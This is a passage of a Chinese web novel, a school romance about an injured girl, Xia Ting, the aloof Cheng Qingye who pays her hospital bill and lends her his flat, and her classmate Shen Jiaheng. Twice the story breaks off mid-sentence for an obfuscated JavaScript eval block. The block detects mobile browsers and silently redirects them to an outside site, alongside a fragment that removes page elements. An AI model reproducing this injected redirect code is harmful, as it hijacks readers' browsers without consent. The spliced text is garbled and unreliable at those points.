医生一手拿着刚拍好的片子,一边抬起另一只手扶了扶眼镜,“得打石膏。” 医生说完,把x光片递给夏汀:“先去那边缴费哈,缴完了再来这边。下一个。” 夏汀接过来片子,有些困难地站起来。 就这么摔了下,居然骨折了。搞不好又要很多医药费。 她叹了口气不想治,拿着片子扶着墙走出去。 程青野就站在诊室门口等她。 他背半倚着墙,深灰色帽衫宽松,身形高而瘦。额前细碎的发随意垂落,遮过冷冽的眉眼,侧脸英挺。 医院里人来人往,白炽灯光没什么温度地投落。 听见脚步声,他侧着脸看向夏汀。 夏汀把x光片藏在身后,手心因为局促而沾了一层薄汗。 程青野狐疑地盯了她一眼:“检查结果?腿断了没?” 夏汀抿了抿唇:“没什么大碍。” 她还是不太习惯说谎的流程,耳根尖红了红。她急忙岔开话题:“这次,谢谢你帮我。” 语气稍微缓和了些,但她仍然没放松对程青野的戒备。毕竟这人看起来真的很不好惹。 于是刚说完,她又着急地补充道,“还有,上次你说的告密,真的不是我。” “我知道。”程青野很冷淡地说,“我搞错了。” 搞错了。 所以就可以这样诬陷她吗? 心头的气愤涌上来,夏汀的脸肉眼可见地变红,宛若虾子熟透,混着几道青痕,看起来像朵摇曳的百合花。 所以他现在所做的一切就是赎罪吗? 算是对他误会她的弥补? 很可惜。她不需要。 “x光片给我。”程青野说。 “不用。”夏汀往后退了两步,“我自己能解决,不用麻烦你。” 程青野看了她一眼,目光下移。 “既然解决了误会,那请你以后别再来找我的麻烦了。”夏汀说道。 程青野挑了下眉,冷嗤道:“谁要找你麻烦。” 这女人怎么那么蠢。 好赖话分不清。 真倔。 程青野才懒得管她。 要不是自己误会她在先,再加上蒋子涵说的一些话,他根本就不会去管她。 眼下既然她都这样说了,那他就更没必要自讨没趣。 他刚要走,忽然脑海里浮现出她对沈嘉恒的那个温柔又清冽的笑。 还挺会变脸。 怎么对他就是那副哭丧脸。 还三番五次拒绝他。 要知道平日里都是他拒绝别人。 这辈子他好像还没被女孩子拒绝过。 而且也没背过女孩子。 再说了,他有这么吓人吗? 心底莫名较起劲来。 “诶!小姑娘你怎么还不去缴费啊,傻愣在这里干什么,我在这等着呢!”刚刚那个医生从诊室里追出来。 程青野听见声音回过头来。 夏汀局促地往后躲了躲。一双清澈又漂亮的眼睛不自在地垂下眼睫。 程青野伸手过来,身上冷冽的气味又扑过来。 夏汀胆怯地缩了缩脖子。 一截白皙从宽松的校服领口里露出来,混合着她身上浅淡的少女清香。 程青野不知怎么地没了脾气,从夏汀手里抽走x光片:“在这等着。” …… 程青野很快交完费,把复诊的号子丢给夏汀:“拿着。” 夏汀捏着号码,还有两个人才轮到她。 她这时才确定程青野没什么恶意,虽然不知道程青野为什么转变态度,心里对他还是有些抗拒。 她小声问程青野:“一共花了……多少钱?” 她凑近说话时,声音小小的,温热的气息全洒在程青野脖颈。有点磨人的痒。 程青野喉结上下滑动了下,没正面回答这个问题:“你先看病。” 于是夏汀就把噎在喉咙里的半截话又吞了回去。 两个人静默地等在诊室门口。 程青野懒散地靠着墙立着。 夏汀则坐在一旁的椅子上。 许是时间过了太久,她居然已经熟悉了膝盖处的疼痛。只剩下一片麻木。 她心底盘算着程青野到底是什么意思。不清楚这是不是又是对她变相的羞辱。 “57号,夏汀。” 听见自己的名字,夏汀跛着脚回到诊室复诊。 “傻愣着干什么啊,把裤腿撩上去啊。” 医生带着手套,消毒酒精的味道有些呛鼻。见她没有丝毫动作,语气不免高昂了些。 夏汀这才局促地弯下腰,一点一点把裤腿揽高。 随着裤腿被一点一点卷上去,露出了她褶皱不平的半截小腿。 幼时被烫伤的皮肤皱巴巴地聚在一处,看上去像晒干了的干瘪橘子皮,深褐色的疤痕盘虬错节,狰狞又可怕。 “啧。”那医生从医多年,各种各样的病患都见过,但夏汀的腿还是吓了她一跳。 她不由得蹙起了眉,下意识脱口道,“你这腿……” 话到一半,才觉失言,讪讪地咳嗽两声,捏起消毒工具。 冰凉的酒精棉片贴上肌肤,夏汀抿了抿唇,不自觉往后退了点。 心里有一阵后知后觉的情愫漫上来。 好像每个见到过她左腿的人都或多或少会有这样的反应。 有的是好奇,也有的是嫌恶。 所以大概从五六岁开始,她就再也没穿过裙子。 不管夏天有多炎热,她都宁愿穿着清一色不变的闷热长裤。哪怕被热得要死,她也不愿意露出自己的腿部皮肤。 自尊是她唯一想要保留的可怜意愿。 消毒钳碾过皮肤上的伤口时带来刺痛。但夏汀都能忍住没有哭。 可一想到夏冬明剑拔弩张的样子,她忽然有一瞬很想掉眼泪。 但她终究还是忍了下来。 “好了。记住这几天不能剧烈运动,也不能碰水,伤筋动骨一百天呢,药去一楼配,哦对,”那医生摘了一次性无菌手套,在纸上一边记录一边又想到什么,补充了一句,问道,“要配副拐杖不?便宜点的话,门口药店就有的卖,方便走路。” 夏汀很快摇了摇头:“不用。” “那行。拿着单子去一楼缴费拿药。”那医生扯下一张纸递给她。 夏汀笨拙地站起来。 走到门口的时候,把那张单子扔进了垃圾桶里。 没有药的话,大不了好的慢一点。但是却可以省下一笔钱。 而且她从小到大都习惯把重心放在右脚上,所以此刻哪怕左脚受了伤,对她来说其实也问题不大。无非就是走的快慢的问题。 不过她本来走路就没办法走的太快。 “你在干什么?” 忽然有个声音落在她头顶。 夏汀被吓了一跳,仓皇间抬头看见程青野。 “没、没干什么。” 她莫名感到一阵心虚。 好在程青野也没多问。 临到医院门口,夏汀扶着墙,打了石膏的腿半曲起,她对程青野说:“今天的事情,谢谢你。钱的事,我会想办法,尽快还给你。” 她顿了顿,执着道,“但是有件事,我必须要说,我真的没有讲过任何关于你的事情。事实上,我那时根本就不认识你。” 程青野敛眸,说:“我已经知道了。” 天色近晚,光线昏昧,他五官轮廓看不真切。 夏汀耳朵一热:“你知道了为什么还要……” 她噎了一下,想到这个人刚刚也算帮过自己,语气弱了下去。 算了,他误会她一次,但也帮了她一次。两者也算抵消了。而且细细想起来,她欠他的应该要更多。 “还要什么?”程青野反问。 夏汀摇摇头,没继续说,换了个话题,问:“你为什么要帮我?” 她不明白像他这样冷淡又带点凶的人,居然会大发善心帮她,还帮她垫付医药费。 看上去非常可疑。 程青野把手背在身后,信步走着,语调带点漫不经心,像开玩笑般回答:“良心发现呗。” 夏汀以为他在说冷笑话。 但这冷笑话没有一点技术含量,并不好笑。 心底的戒备仍然没有放下。 她曲着腿,在他身后一蹭一蹭拖着,原本就走的慢,这么一搞,就走的更慢了。 她看着他背影,想起什么,问道:“你名字怎么写?” 既然要还钱的话,那好歹要知道他的名字吧。 住在丁兰家隔壁,她多多少少听他们提起过程青野的名字,大概知道怎么念,但是却不知道这三个字具体该怎么写。 程青野挑了下眉:“你怎么不告诉我你叫什么?” 虽然他知道。 “夏汀。夏天的夏,江汀的汀。”夏汀如是道,“那你呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481663|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “程青野。”程青野说道。没像夏汀那样一一解释是哪个字。 夏汀也识趣地没再多问。 她只不过是想知道他的名字,方便以后找到他,把钱还给他而已。 毕竟听丁兰说起来,他似乎已经搬出去住了。她怕以后找起来太麻烦。 两人走出医院,天色已经完全黑下来。 空气里浸着一层凉凉的薄雾。 医院门口是一个临江而建的小公园,偌大的紫藤萝经年未曾打理,沿着石砌的长廊洒下来。攲斜着身子探到路的外沿来。 淡紫色的花穗一串一串,在夜晚的路灯下散发着淡紫色的光晕。 却并不秾艳,反倒看上去快要落尽了。 风一吹,扑啦啦地往下掉。像蝴蝶前仆后继赴死。有种凄异哀婉的美。 紫藤萝这种花,一般是在春三月开放,鲜少会在秋天二次盛开。 但这棵藤萝却年岁已久,春秋各开一次。 夏汀走得有些费劲,豆大的汗滴滑进后颈的衣领里。 程青野步子大,也没有要等她的意思。 夏汀便扶着藤萝架旁的长椅坐了下来:“程青野,就走到这里吧,你去忙你的事情吧。然后,可以把我的书包还给我了吗?” 听见她叫自己的名字,程青野愣了下,反应过来以后,把书包丢给她。 夏汀不偏不倚接住了书包,反身抱在胸前。 程青野出声问:“你不回家了?” 夏汀摇摇头:“我爸气还没消。” 夏冬明现在肯定气头上,她现在回家无异于撞枪口。 倒不如再等会,等他气消了,或者他不在家的时候,再回去。 程青野问:“他什么时候气消?” 夏汀仍是摇头:“我不知道。” 程青野倒是气笑了:“你就要在这里一直坐到他气消?” 夏汀点头。 程青野刚想骂她是个固执的蠢货。 夜风忽地刮过,紫藤花穗子清凌凌地往下坠,发出蝴蝶振翅一般清脆的哗动声。 月色下,她一双眸子像被洗过般干净澄澈。 程青野忽然就说不出话来了。 他没来由想到某天她的那一个笑。 清澈又带有干净未泯的孩子气。 没想到这个小瘸子居然会笑。 而且笑起来还挺好看。 不过这个小瘸子还真是固执。 固执地可笑。 “行,那你就在这等吧。”程青野语气轻松。 反正他只欠她一次。现在他做的已经够多了。 再多的他不乐意管,而且他也管不着。 他转身就要走。 “等一下。”夏汀忽然叫住他。 程青野慢悠悠转过身:“干什么。” 夏汀低着头,慢慢拉开书包的拉链。 滋啦滋啦,用了好几年的旧书包拉链缺了好几个小角,滑动的时候并不流畅,总是一卡一卡的。 程青野看她低着头,发旋处白色的皮肤格外刺眼。紫藤花被风抖落,扑棱蛾子一样到处飞,有一两瓣飘在她头发上。他下意识想伸手担掉。但终于还是没动。 他喉间滑出一声冷嗤,觉得自己多事。 夏汀伸手在书包里摸索了一阵子,然后拿出那瓶荔枝味的牛奶,伸手举得老高,递给程青野:“这个给你。” 程青野睨她一眼,没犹豫就拒绝了:“不要。” 他不喝这种廉价的甜牛奶。 “不要吗?”夏汀抿抿干裂的嘴唇,睫毛一直低低地垂着,晕在眼尾,一小片浅浅的阴影。 这本来是她留给沈嘉恒的,一直都舍不得喝。 好不容易拿出来,程青野却嫌弃地不要。 “那好吧。”夏汀把牛奶重新放回书包里。 “你自己不喝?”程青野问。 夏汀摇摇头:“算了,我喝过一瓶了,有点甜。这瓶本来是我留给沈嘉恒的。” 只不过一直没有机会给罢了。 话一出口,夏汀忽然愣了下。 耳尖忽地染上一抹红,她没想到自己居然会下意识把脑海里想说的话就这么直接地说了出来。 “别人不要的东西就丢给我?”程青野冷冷笑了下,“你真挺厉害。” 说着便再也没顾夏汀就走了。 夜晚的风灌进帽兜里,瑟瑟的凉。程青野脸色很冷,比什么都难看。 一直大步流星踏过另一条街。绿灯转红。 程青野心里的那股闷劲儿还没散。 以后再管那丫头,他就是狗。 10. 淤青 蒋子涵没想到他程哥火气会这么大。 从入座开始,就二话不说,闷声不响地刷穿了无数个boss。 表情淡淡,却杀红了眼。 虽说程青野向来不是个好脾气的主儿,但像今日这样,还是头一遭。 而且蒋子涵有个可怕的发现,那就是他程哥最近火气大涨的频次似乎有点高。 总是莫名其妙、动不动就冷脸。弄得他大气不敢出,只能在一旁静观其变。 蒋子涵搓了搓手,没话找话道:“最近天有点冷啊。” 程青野没搭理他。 手上的操作没停,转瞬间又击杀了一只boss。 蒋子涵切换了嘴脸,饿虎扑食一样围上去舔包。 程青野兴致缺缺,起身去门口透个气。 一出门,凉风就扑了他满怀。 露浓霜重,南方入了秋之后的天气就是这样。 确实有点冷。 程青野忽然没头没尾地想起那个倔脾气的小瘸子来。 这么冷的天,总该回去了吧。 该不会在公园里坐着硬挨吧。 明明身子骨脆的不行,还要给自己没事找事。 神人一个。 程青野暗忖。 - 饶是这么说,程青野回去的路上,还是鬼使神差地绕了路。 小公园里清冷无人,路灯还在凄凄惨惨地亮着。 紫藤萝花穗稀稀拉拉地落,月色如戏,落下薄薄的一层,像绸缎一样洒在翻动的淡紫色花穗上。 程青野黑色碎发垂落在额前,目色里透着些兴致缺缺的凉薄。 应该回去了。 正要舒一口气。 目光一低,隔着大老远就看见花穗铺就的阴影里,蜷坐着一个小小的人影。 她曲起一只脚,把书包搁在膝盖上,双手抱着,就那么靠着书包睡着了。 她背影好小,似乎风一吹就要倒。 程青野缓缓支起眸子。 心脏像被什么东西烫了一下,辐射开一阵莫名的情愫。 蠢死了。在这种鬼地方也能睡着。 - 夏汀其实没怎么睡着,意识一直都是半清醒的。 眼皮明明困得快要抬不起来,可是脑海里却一直在胡思乱想些什么。 恍惚间她仿佛又做梦梦到了上半年高考的最后一天。 六月里的那几天,岚县总是下大雨。 夏汀已经考完了五科,还剩下最后一门没有考。 前几科她发挥的还算不错,最后一门如果正常发挥的话,她现在应该已经在念大学了。 最后一门地理被安排在下午。 夏汀早上没有考试就在家里复习,下午准备出门的时候,隔壁房间里的夏冬明突然心肌梗塞摔倒在地,瞬间发出一阵巨响。 夏汀没犹豫,着急忙慌地把他送去医院。 好在发现的及时,夏冬明没什么大碍。 但是夏汀抵达考场的时候,却刚好迟到了十六分钟。 高考考场规定,晚点十五分钟以后不能再入场。 于是就这样,因为一分钟,夏汀被拦在考场外,最后一科没有考。 她在考场外枯坐了一个多小时,直到考试结束收卷的铃声响起。 结束了。 所有的一切都结束了。 包括她的未来。 她憧憬的新生活。 都死在了那一分钟里。 夏冬明是起死回生了。 但她却有一部分完完全全枯死了。 当然,最后夏汀也不出其外地没考上想考的大学。 其实后来她查过分,那五科成绩都很不错,算是超常发挥,光是那五科成绩加起来,都已经到了一本线。 其实她缺考的那门地理,正是她最擅长的科目。 为此,她不知偷偷哭了多少回。 明明就差一点,她就能离开夏冬明,离开岚县了。 其实夏冬明倒在地上的时候,她内心有过一瞬间的纠结。但最后还是选择了拨打急救电话。 后来夏冬明好了,但有一阵子面瘫,脸上做不了任何表情,脾气却越发暴躁。 夏汀提出想要复读。 夏冬明便龇牙咧嘴地摔东西,边摔边骂:“读个屁,浪费钱!老子生病花掉一大笔钱你知不知道!早知道你就该别救我!要是孝顺点的话,你去打工赚钱孝敬我还来得快点!” 夏汀沉默着没说话。 复读费又是一大笔支出。 到底是夏冬明自知理亏,最后还是让夏汀回去念了书。 复读一次,压力陡然上升。 周遭的同学换了一批。但是充满鄙视和嫌恶的眼光却是如出一辙。 夏汀又彻头彻尾重新经受了一遍。 不过好在,她遇见了沈嘉恒。 沈嘉恒跟别的人都不一样。他温润善良,对她总是有数不尽的关切。 他的出现就像一道光,在她心底阴暗长满青苔的一角凿开了一个孔。 光线源源不断地涌进来。 她好像又能说服自己活下去了。 人啊,总是需要一个指望的。 才能在漫长的时间里,充满期待地活下去。 夏汀眼角沁出温热。 眼尾已有点湿了。 紫藤花簌簌地落,冰冰凉凉的,像雨点落在手背。花瓣柔软,又好似毛毛虫在肌肤上细密地爬。 弄得人痒酥酥的。 夏汀身体禁不住轻微地动了动,一点一点睁开困倦的眼睛。 一道细碎的影子落在她面前。 她睫毛颤了下,一抬头,就看见程青野。 少年挺括的肩膀横亘在夜风里,青涩又宽阔。他微垂着眼,额前的发细碎向下刺着。鼻骨侧的阴影看起来冷峻的不近人情。 “程青野,你没回去吗?”夏汀认出是程青野,拼命揉了下眼睛,以为自己困得迷糊了。 程青野冷冷地:“在这种地方也能睡得着。” 夏汀目光低回去,也不辩驳。 比起回去面对夏冬明,她更愿意一个人呆在这里。 虽然这里清清冷冷的,紫藤花一晃一晃,地上全是细碎的花影,像蛇一样缠绕逶迤在地面,看起来有点吓人。 “没嘴吗?”程青野说。 “啊?”夏汀不明所以。 程青野无语,手插在裤袋里,整个身形松松垮垮,没个正形,但仍要比夏汀高出许多,“不会张嘴问人吗?” “我不去丁姨家。”夏汀想到什么,拒绝道。她下意识以为程青野会让她去丁兰家借宿一晚。 可是以丁兰鸡飞蛋打的脾性,去她家无异于自找麻烦。 “没要你去她家。”程青野说道。 风在吹,吹得他衣角猎猎作响。 - 不一会儿,夏汀跟着程青野出现在一道斑驳的旧门前。 这一块算是城中村,每家每户的房屋都挨得很紧,密不透风般让人喘不上气。 夏汀把书包反着背在身前,打了石膏的腿部有些麻了,整片皮肤都凉飕飕的。 她忽然有些后悔自己就这么冒冒失失地信了程青野。 明明之前他脾气那么古怪。他们之间也算不上是多么值得对方信任的关系。 程青野三两下开了门。用下巴往里一指,对夏汀说:“进来。” 夏汀警惕地看着他,但没动。 她后知后觉非常后悔。 也不知道是困意太深还是怎么回事,她居然糊里糊涂就跟着程青野来了这里。 真是昏了头了。 程青野开了灯。 这是一间很小的房子,但很干净,房子不大,却五脏俱全。是很简洁的干净。 靠近床的周侧都贴上了白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481664|201778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的墙纸。 唯一奇怪的一点是,墙面上挂满了各式各样的钟表,机械表、电子表,大的、小的,都有。有的指针还在转着,有的指针却已经停摆了。 许许多多的钟表堆在一起,发出哒哒哒的走表声。让人莫名感到一阵局促感,仿佛心脏也被安上一个加速器,走得格外有节律。 夏汀也随之闻到了一股淡淡的五金店独有的润滑油味道。 这间房是蒋子涵家的老房子。 蒋子涵家靠钟表五金店发家,小时候在这里住过一段时间。后来家里的生意做的大了,就买了别的房子搬走了。 这间房子就这样闲置了下来。一些老样式的钟表没地方堆,就还是留在这里面。 程青野之前提过要搬出来,蒋子涵一时间没找到别的房子,一拍脑袋忽然想起自己家还有这么一间老房子,便提议让程青野先住在这里。 他本以为程青野这样娇生惯养的大少爷肯定看不上这里。 没想到程青野懒得折腾,再加上丁兰不喜欢他,要把他赶走,催得紧,这里又偏僻清净,没什么人叨扰。 于是一来二去的,程青野居然答应了。 蒋子涵知道程青野家里出了事,这段时间甚至断了生活费。程青野之前又大手大脚惯了,这种阔绰的习惯一时间是很难改过来的。 有个免费又清净的地方,倒也不失为一个好去处。 “凑合着睡那吧。”程青野指着房间内唯一的一张铁架床说道。 夏汀看着那张不太结实的铁架床,有些担忧:“算了吧。” 而且她要是睡了的话,程青野睡哪里? 她侧过脸,看见程青野那张冷脸。 嗯。她宁愿在公园长椅上再吹一夜冷风。 “别发神经。”程青野把门钥匙丢她手里,“我不常住这。” “那你去哪?”夏汀下意识追问,问出口以后,才发现自己似乎有些多嘴。 “去我该去的地方。” 程青野回看她一眼,径自推开门。 夜风有点冷,一个女孩子呆在公园里怎么看都不安全。更何况夏汀还行动不便。 他伸手将帽子立起来遮住大半张脸,往门外走: “你老老实实呆这比关心我去哪里强。” 夏汀被噎了一下。 她哪有要关心他的意思。 程青野走了以后,房间就只剩下她一个人。 夜路很黑,她这时候想走也不安全,更何况她脚还受了伤。 夏汀关上了门。 满屋子钟表的滴答声,融化成背景音。 墙壁上挂的大多数钟表都已经停摆。 不算吵,也不算安静。 刚好能听见自己心跳的声音。 房间里真的很干净。地面一点灰尘也没有。 金属架上挂着程青野的几件衣服。有一些logo夏汀并没有见过。 待久了以后,夏汀发现自己闻不到那股子五金润滑油的味道了。只能闻见跟程青野身上很像的淡淡的雪松味道。像是风里吹满的雪子。 房间里连一张多余的凳子也没有。能够落座的地方只有那张床。 夏汀小心翼翼地沿着床边坐下,怕弄脏他的床铺。 一坐下,她就惊了一下。 程青野睡的床,怎么这么硬。 夏汀不敢睡他的床。怕哪天他又发神经将她抵在墙上质问一顿。 他看起来是那么脾气古怪又很凶的一个人。 夏汀摸不透他。 只能暂且把他这几天的善意当成他良心发现。 一直熬到后半夜,夏汀眼皮越耷拉越低,迷迷糊糊中竟真的睡了过去。 满屋子的钟表声窸窸窣窣,其实有点瘆人。 但不知道为什么,床褥里夹杂着程青野身上淡淡的香味。竟有一种莫名的安全感。 让她这一整夜都很好眠。 11. 淤青 第二天夏汀在程青野回来之前便走了。 醒来的时候她其实有一瞬间的惶恐,没想到自己真的会在一个陌生的环境里睡着。 而且这个陌生的环境还是程青野的住所。 虽然他说自己并不常住在这里。 她怕程青野又变卦回来找她麻烦,一方面也恨自己太糊涂,于是醒来后第一时间就走了。 走之前还把被子叠的整整齐齐,尽量让人看不出任何痕迹。 打了石膏的脚走路更不方便,夏汀绕了半天的路,才终于回到学校。 这时候大家已经开始早读了。 好在教室后面的门没关,夏汀摸着后面的墙坐回到位置上。 沈嘉恒已经回来了,一如既往在讲台上带读。 他余光注意到夏汀,看见了她受伤的腿。 他很快收回目光,但仅仅就是这么短暂的一瞥,很快就被林佳琪捕捉到。 她下意识回过头,就看见夏汀正不紧不慢地拿出英语课本。 心里莫名有股气堵得慌。 - 体育课夏汀没办法上,便提前找老师请了假,一个人坐在教室里写题。 十月底的阳光,稀有地从窗户外照进来,夏汀低着头在解一道导数题。 按动笔在纸面上一下一下滑动,写出一连串顺滑的字迹。 “天天都要跑那破800米,还好溜了。” 林佳琪喘着气,身子半伏在走廊外的栏杆上。 高三(1)班在教学楼三楼,门口正对着一棵高大的梧桐树,淡紫色的梧桐花开了满枝桠,张狂地伸到走廊上来。 风一吹,满树的梧桐花就会止不住地颤。 林佳琪半个身子都在梧桐花下,阳光从高处投落,将花的影子淡淡铺开。 “就是,”沈心怡也把头探到花树下,岚县这个小城终年都开着各种花树,她的高马尾被风吹起来,她突然想到什么,眼睛亮亮的,对林佳琪说,“你还记得之前我们在校门口遇见的那个帅哥吗?我托人问到他名字了。” “记得啊,”林佳琪心思都扑在沈嘉恒上,对沈心怡提到的这帅哥其实并不感冒,但纵使不感冒,她对那帅哥的颜值还是认可的,“是挺帅,你从哪里问到的?” “我之前有个朋友,挺混的,认识挺多人,我给他描述了一下形象,他就立马反应过来,跟我说,人家叫程青野,是不是挺好听一名儿?”沈心怡笑眯眯地说道。 声音清脆又明晃晃地漏进不远的教室里。 夏汀按动笔忽然一顿,笔下的思路全乱了。 “是挺好听。”林佳琪支起手撑着脸。 “人家是从大城市来的,特高傲,好像谁都入不了他的眼,很有个性,”沈心怡也拿手撑起脸蛋。 “这么有个性,比沈嘉恒还麻烦。”林佳琪少女的脸上带着一丝淡淡的哀愁,“这么说,你喜欢他咯?” “……也没有吧。”沈心怡支支吾吾,她和林佳琪虽然是好朋友,性子却并不一样,林佳琪大大咧咧,性格外放,她呢,虽然也开朗,但到底胆子还是小了些。她有些羞涩,特意把话题引到别处去,“你和我表哥怎么样了?” “一提就来气,”林佳琪叹了口气,“他不明白我对他的心思。” “我表哥就是这样,满脑子只知道学习。”沈心怡解释道。 “不,也不算是。”林佳琪不知道该怎么去形容那种感觉,“算了,回教室吧,日头太晒了。” 她眯了眯眼,顺手推开教室后门走进去。 一走进去,她忽然僵住了。 夏汀在教室里。 真是冤家路窄。 她不高兴地白了她一眼。 夏汀没理会她,兀自在草稿纸上演算着习题。 只是不知道为什么,思路却全乱了。 像掉在地上的毛线球,再捡起来的时候,早已找不到任何头绪。 - 放学时分,大部分同学都走得差不多了。只有少数几个同学还留着在收拾东西。 夏汀没着急走,放学时分车多人挤,她腿又不方便,想着人少一点再走。 “夏汀,”沈嘉恒突然把她叫住,“你的腿怎么了?” 夏汀见是沈嘉恒,心底忽然漾起一股莫名的难堪。 她下意识环顾四周,好在林佳琪早就走了。 为了安稳度过高考前的这一小段日子,她下定决心躲着沈嘉恒。 林佳琪说的话没有错。 她这样的人,本不该有任何奢望的。 她对沈嘉恒的喜欢,也许是作茧自缚。 倒不如放在心底,一点一点压下去。 “你在看什么?”沈嘉恒也跟着她的目光。 夏汀摇摇头,说:“没、没什么。” 她抿了抿嘴唇,开口对沈嘉恒说:“听说你得了物理金奖,恭喜你呀。” 沈嘉恒低声笑了下,仿佛这个奖项对他而言是微不足道的一件小事,他把话题切回来,问:“所以你这腿到底怎么了?” 夏汀还是不说。 “我是班长,有关心同学的义务,”沈嘉恒顿了顿,“不过你不愿意说的话就算了。” 他边说边拿出一个信封放到夏汀的桌子上。 “这是什么?”夏汀看着那个信封问。 沈嘉恒笑道:“夏汀同学,你是不是记性不太好啊。” 他顿了顿,音色爽朗,“还记得开学初咱俩一起报名的知行杯生物竞赛不?喏,这是奖金。” “真的?”夏汀想不起来还有这茬事。 “真的。”沈嘉恒不笑了,表情温和道,“早读你没来,我到老王那里就帮你先领了,我也有的。” “哦,”这样啊,夏汀点点头,对沈嘉恒说了句“谢谢”。 “谢什么,”沈嘉恒有点好笑,“这是你自己的奖金。”说完又补充了一句,“记得收好,别丢了。” “嗯。”夏汀小心翼翼地把奖金收好放进书包。 两个人沿着楼道下去。整栋教学楼已经空了。 沈嘉恒走在她身后,看她每一步都走得很艰难,忍不住问:“没有配一副拐杖吗?” “伤的不算太严重,用不上。”夏汀说。 其实是因为她不愿意多花钱。 “我家里有一副多的拐杖,前些年我爷爷骨折拄过一段时间,放那里也是闲置,明天我给你带过来吧。”沈嘉恒说。 “不用不用。”夏汀马上拒绝。 这多麻烦。 沈嘉恒笑笑:“没事。” 两人走下楼梯,夏汀扶着墙走路。尽量让脚跟碰地。 沈嘉恒不经意问起夏汀作文比赛的事情来。这事他听老王提起过一次。说这机会挺难得的,只是夏汀家的情况不支持,挺可惜。 “有了这笔奖金,应该会好一点吧。” 夏汀点点头,没说要不要去参加。 两个人很快走到校门口。 “小恒!这里!”不远处有个站着个穿风衣的女人,看上去很年轻,一身都是名牌货,一开口,声音清脆悦耳,温柔又得体。目光落在沈嘉恒身上。 “妈。”沈嘉恒看见她,叫了声。脸上的笑意收敛了。 下意识跟夏汀的站位分开了些,然后对着夏汀说:“那我先走了。” 夏汀点头,说好。 “怎么搞那么晚?”女人上了车,嘟囔着抱怨了一句。 沈嘉恒也上了车,坐在后座:“学校里有点事。” “刚刚挨你很近的那个女孩子谁?”女人问。 “同学。”沈嘉恒敛眸。 “少跟莫名其妙的人来往,”女人说,“你重心放在竞赛上,你爸说,出国的事情差不多有些眉目了。” “嗯。”沈嘉恒靠在座椅上,忽然感觉有些累。 “诶对,我放在门口玄关那里的两千块钱你看见没?”女人握着方向盘,从后视镜里观察她儿子的反应。 沈嘉恒情绪淡的像水,说:“没看见。” - 夏汀打开那个信封,发现里面赫然躺着两千块钱。 她不由得吃了一惊,知行杯的含金量原来那么高么。她其实一向都不热衷于参加这些竞赛。 之前报名参加知行杯,无非也是听别人说这比赛有奖金。而且这几年水涨船高。 只是她没想到会这么多。 两千块钱,对于一个高中生来说,是一个不小的数目。 如果换作别人告诉她,她可能还会起疑心。 不过这信封是沈嘉恒拿给她的,沈嘉恒不会对她说谎。也没必要说谎。 这样想着,夏汀心里总算安定了些。 她从里面抽出五百块钱,剩下的全部都收回书包放好。 五百块钱是她用来还给程青野的。 可是,该到哪里去找程青野呢? 夏汀忽然有些迷茫。 在这之前,她从没想过这个问题。 她总是不经意间就能撞见程青野。 而现在要主动去找他,她还是犯了难。 除非她凭着记忆,回到程青野现在的住处去。 但那里有些偏僻,她腿脚又不方便,想了想,夏汀打消了这个计划。 算了,等下次有机会碰见他再还也不迟。 夏汀边走边想,没想到一转眼居然走回了自己家的小区。 想到夏冬明,她忽然又纠结起来。到底要不要回家。 “夏汀啊,怎么傻站在这里?”一道熟悉的声音传来。 丁兰正买好菜准备回家,两只手都各拎了一只塑料袋。 “丁姨。”夏汀小声叫了人。 “不上去吗?”丁姨笑着,嘴唇殷红,涂着色号浓烈的口红,笑容渐渐冷却下去,她凑近了些,身上低廉的劣质香水味扑过来,“诶,听旁人说,你爸一大早拖了行李出门?说要去闯闯生意,真的假的?” 丁兰是在打探夏冬明的去处,要是真的就麻烦了。 夏冬明是个不讲信用的主儿。手头还欠着她的麻将馆好几万呢。 要真出去闯荡那指定是还不上了。 夏汀眼睛眨了眨,她更是不清楚。 昨天晚上她压根就没回来。 虽然对于丁兰来说不是件好事,但是对于夏汀来说,夏冬明不在,却是件好事。 两人边聊边上了楼梯。 夏汀在丁兰的催促下开了门。 门一开,刺鼻的辣鸡味钻出来,房间里空空如也,哪有什么夏冬明的身影。 夏冬明不在家,顺带着连他常穿的衣物都不见了。 夏汀靠着门喘了口气。 丁兰气的心脉不稳,骂了几顿以后才走。 夏汀一边听她骂,一边心不在焉地想,至少今晚她可以睡个好觉了。 - 夏汀一直惦记着还钱的事情。 之前她都一直尽可能地躲着程青野,怕不小心给自己惹麻烦。 可当她真要去找程青野的时候,她却发现,自己似乎怎么都找不到他了。 她一连等了他好几天,都没等到。 左腿受过伤的地方疼痛已经没前几日那么明显了。除了走路有点不方便以外,基本没什么大问题。 而且现在走路也没什么不方便的了。因为就在沈嘉恒答应要给夏汀带拐杖的第二天,他还真的把金属拐杖带来学校里了。 这拐杖用的是最好的料子,整体框架有点重。夏汀力气小,用不太顺手。 但她还是谢谢了沈嘉恒的好意。 日子一天天过去,夏冬明不在的日子里,时间过得飞快。雨滴堆积成宁静的落叶,十一月静悄悄地来了。 而程青野没再出现。 夏汀觉得这么等下去也不是办法,正想要不要冒险去程青野的住处找他一趟。就刚好撞见了隔壁班的蒋子涵。 蒋子涵挎着书包正准备下楼,迎面跟拄着拐杖上楼的她撞上。 “诶,是你啊。你腿怎么了?” 蒋子涵下意识打了个招呼,打完之后才后知后觉有几分尴尬。人家或许根本就不认识他。 